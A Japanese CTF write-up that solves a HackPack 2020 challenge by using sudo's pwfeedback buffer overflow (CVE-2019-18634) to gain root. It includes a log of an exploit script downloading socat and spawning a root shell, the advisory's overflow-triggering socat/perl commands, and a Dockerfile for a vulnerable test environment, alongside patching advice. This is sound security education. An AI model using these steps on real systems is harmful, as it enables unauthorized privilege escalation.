[HackPack CTF 2020 writeup] Hupty Dumpty's SSH Account

# はじめに
こんにちは。
今回は HackPack CTF 2020 の Hupty Dumpty's SSH Account が解けたのでWriteupとして記しておきたいと思います。
最近はペネトレーションテストとAWSの勉強にリソースを割いているのであまりCTFは関われていないのですが、この問題はLinux上での特権昇格によってルート権限を奪取することが求められたので、まさに今やっている勉強に近いということで解いてみた次第です。

では始めましょう!

# Hupty Dumpty's SSH Account WriteUp [pwn 460]
まずは`ssh`で接続して様子を見ます。
パスワードはサイトにもある通り`covfefe`です。

```sh

$ ssh humptydumpty@cha.hackpack.club -p 41701
humptydumpty@d1b7c3491de1:~$ ls
flag
humptydumpty@d1b7c3491de1:~$ cat flag
cat: flag: Permission denied
```

次に特権昇格につかえそうなバイナリを探す必要があります。
[`LinEnum.sh`](https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh) または [`linpeas.sh`](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) などを使います。解いているときは `LinEnum.sh` を使ったのですが `linpeas.sh` を使ってみたところ、きれいに出力されたので今回はそちらでやってみます。

- [LinEnum.sh](https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh)
- [linpeas.sh](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)


ルート権限の昇格に使えそうなバイナリは `linpeas.sh`を使うことで`root`の`SUID`が付与されているファイルの一覧が出力されるのでそこに注目すればいいです。 

```sh

humptydumpty@d1b7c3491de1 sh linpeas.sh
・・・
(一部抜粋)
[+] SUID - Check easy privesc, exploits and write perms                                                                                                               
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands                                                                  
                                                                                                                                                                     
/bin/mount              --->    Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
/bin/umount             --->    BSD/Linux(08-1996)
/bin/su
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/local/bin/sudo             --->    /sudo$
/usr/bin/newgrp         --->    HP-UX_10.20
/usr/bin/chfn           --->    SuSE_9.3/10
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd         --->    Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
・・・
```

バージョンが古い場合は Local Priviledge Escalation が可能な脆弱性を持っている可能性があります。手元の環境との比較やGoogle検索で調べてみると `sudo` の `version` が古いことに気づきました。stableの最新版は`1.8.31p1`です。(2020/4/29 時点)
そこでgoogle検索でなにか脆弱性がないか検索をかけてみます。

```sh
humptydumpty@d1b7c3491de1:~$ sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

```

`sudo`の脆弱性は様々なものがありますが、`sudo -l`を実行して適当にパスワードをうってみると次のようになります。


```sh
humptydumpty@d1b7c3491de1:~$ sudo -l
Password: ******
```

パスワードをうった際にアスタリスク(*)が表示されるのでどうやら`sudo` の設定の一つである`pwfeedback`のオプションが有効になっています。そこで`pwfeedback`が有効になっている際の脆弱性である `CVE-2019-18634` が使えるのではないかということで、公開されているPoCを試してみます。
エクスプロイトコードの作成は法的な観点から詳細を書くのは控えます。各自調べてみてください。


```
humptydumpty@d1b7c3491de1:~$ sh exploit.sh 
--2020-04-29 10:06:28--  https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.200.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.200.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 375176 (366K) [application/octet-stream]
Saving to: ‘socat’

socat                                     100%[===================================================================================>] 366.38K  --.-KB/s    in 0.07s   
                                                                                                                                                                      
2020-04-29 10:06:28 (5.38 MB/s) - ‘socat’ saved [375176/375176]                                                                                                       
                                                                                                                                                                      
Password:                                                                                                                                                             
Sorry, try again.
Sorry, try again.
root@d1b7c3491de1:/home/humptydumpty# exit
sudo: 2 incorrect password attempts
Exploiting!
root@d1b7c3491de1:/home/humptydumpty# 
root@d1b7c3491de1:/home/humptydumpty# id
uid=0(root) gid=1000(humptydumpty) groups=1000(humptydumpty)
root@d1b7c3491de1:/home/humptydumpty# cat flag
flag{7h3_vu1n!_i5?...CVE_2019-18634!}
```

これでフラグは`flag{7h3_vu1n!_i5?...CVE_2019-18634!}`であるということがわかります。


# CVE-2019-18634の簡単な解説

この脆弱性は上述したように`sudo`コマンドで`pwfeedback`というオプションが有効な時に生じるバグです。そして、この`pwfeedback`はパスワード入力時に`*****`のようにアスタリスクを返すことで、入力を確認するためのオプションです。１０年以上前から存在していたようですが、最近になって修正されました。

`sudo`の公式サイトでは`pwfeedback`が有効な時には、次のようなコマンドでBOF(バッファオーバーフロー)すると注意喚起がされていました。
参考：https://www.sudo.ws/alerts/pwfeedback.html

```
$ socat pty,link=/tmp/pty,waitslave exec:"perl -e 'print((\"A\" x 100 . chr(0x15)) x 50)'" &
$ sudo -S -k id < /tmp/pty
Password: Segmentation fault (core dumped)
```

```
(1.7.1~1.8.26は以下のコマンドでもBOFが起こることがある)
$ perl -e 'print(("A" x 100 . chr(0)) x 50)' | sudo -S -k id
Password: Segmentation fault (core dumped)
```



### 検証環境の構築

`sudo`のversionを入れ替えて検証するための環境として、Dockerで構築してみました。
今回は [pwndock](https://github.com/Grazfather/pwndock/blob/master/Dockerfile) と [A CVE Journey: From Crash to Local Privilege Escalation](https://iamalsaher.tech/posts/2020-02-08-cve-2019-18634/) を参考にしました。



使用した Dockerファイルは以下の通りです。

```Dockerfile
# This Dockerfile is for CVE_2019_18634 verification
# Reference : https://iamalsaher.tech/posts/2020-02-08-cve-2019-18634/

# -------------------------------------------------------- #
# Environment Settings
# -------------------------------------------------------- #
FROM ubuntu:18.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt update \
    && apt -y install locales
RUN locale-gen en_US.UTF-8
ENV LANG en_US.UTF-8
ENV LANGUAGE en_US:en
ENV LC_ALL en_US.UTF-8


# -------------------------------------------------------- #
# Tools
# -------------------------------------------------------- #
# create tools directory
RUN mkdir ~/tools

# base tools
RUN apt update \
    && apt -y install --no-install-recommends lsof strace ltrace vim patchelf netcat socat file \
    && apt -y install --no-install-recommends curl wget git gdb man sudo inetutils-ping less \
    && apt clean


# compiler utils & library
RUN apt update \
    && apt -y install --no-install-recommends git cmake gcc g++ pkg-config libglib2.0-dev \
    && apt clean



# -------------------------------------------------------- #
# sudo
# -------------------------------------------------------- #

RUN adduser --disabled-password --gecos '' sudouser
RUN adduser --disabled-password --gecos '' testuser
RUN echo sudouser:sudouser | chpasswd
RUN echo testuser:testuser | chpasswd

#COPY sudo-1.8.25p1 /tmp/sudo-1.8.25p1
#COPY build /tmp/sudo-1.8.25p1
#WORKDIR /tmp/sudo-1.8.25p1
#RUN chmod +x ./build
#RUN ./build

# Get sudo source code
WORKDIR /tmp
RUN wget http://www.netgull.com/sudo/sudo-1.8.21p2.tar.gz
RUN tar -zxvf sudo-1.8.21p2.tar.gz 

WORKDIR /tmp/sudo-1.8.21p2
RUN sed -e '/^pre-install:/{N;s@;@ -a -r $(sudoersdir)/sudoers;@}' -i plugins/sudoers/Makefile.in
RUN ./configure --prefix=/usr     \
            --libexecdir=/usr/lib \
            --with-secure-path    \
            --with-all-insults    \
            --with-env-editor     \
            --enable-pie          \
            --docdir=/usr/share/doc/sudo-1.8.31 \
            --with-passprompt="[sudo] password for %p: "
RUN make
RUN make install
RUN ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0
RUN echo '\ 
    Defaults	env_reset,pwfeedback\n\
    Defaults	mail_badpass\n\
    Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"\n\
    root	ALL=(ALL:ALL) ALL\n\
    %admin ALL=(ALL) ALL\n\
    %sudo	ALL=(ALL:ALL) ALL\n'\
    > /etc/sudoers
    
RUN usermod -aG sudo sudouser

```

このDockerfileを使ってコンテナを構築した後、シェル上でルート権限からユーザ権限へ移して、カレントディレクトリをhomeに移せば今回のCTFに近い環境が構築できるので`sudo`の検証が可能です。本記事での`sudo`の検証はここまでとしますので、より深い知見をお求めの方は各自検証してみてください。

```sh
# su testuser
$ cd ~
```


# 脆弱性への対策
最新版の`sudo`はこの脆弱性が修正され、対策されているそうです。
サイバーセキュリティ基本法第９条にもあるように、サイバーセキュリティの確保に努めるべく、しっかりアップデートしましょう！

また`pwfeedback`のオプションが有効になっていない限り、この脆弱性は使えません。デフォルトではOFFになっているので、わざわざONにしない限りは心配ないでしょう。ただし Linux Mint、elementary OS などの一部のディストリビューションではデフォルトでONになっているそうなので確認してみてください。

# あとがき
ここまで読んでいただきありがとうございます。法的な観点からご紹介できないこともあり、少し中途半端になってしまいましたが、何卒ご了承ください。今回の記事を作成するにあたって参考にさせていただいた記事を[参考文献](#参考文献)に記載しています。各自参照してみてください。

もはやWriteupから脱線しまくっていますが、この記事がサイバーセキュリティを志すだれかの役に立つことを願います。


# 参考文献
以下のサイトを参考にさせていただきました。


- [SIOS Security Blog: sudoの脆弱性情報(Important: CVE-2019-18634)](https://security.sios.com/vulnerability/sudo-security-vulnerability-20200219.html)

- [GitHub: Plazmaz/CVE-2019-18634](https://github.com/Plazmaz/CVE-2019-18634/blob/master/self-contained.sh)


- [Swing'Blog 有恨无人省: CVE-2019-18634 分析](https://bestwing.me/CVE-2019-18634-analysis.html)

- [Buffer overflow when pwfeedback is set in sudoers](https://www.sudo.ws/alerts/pwfeedback.html)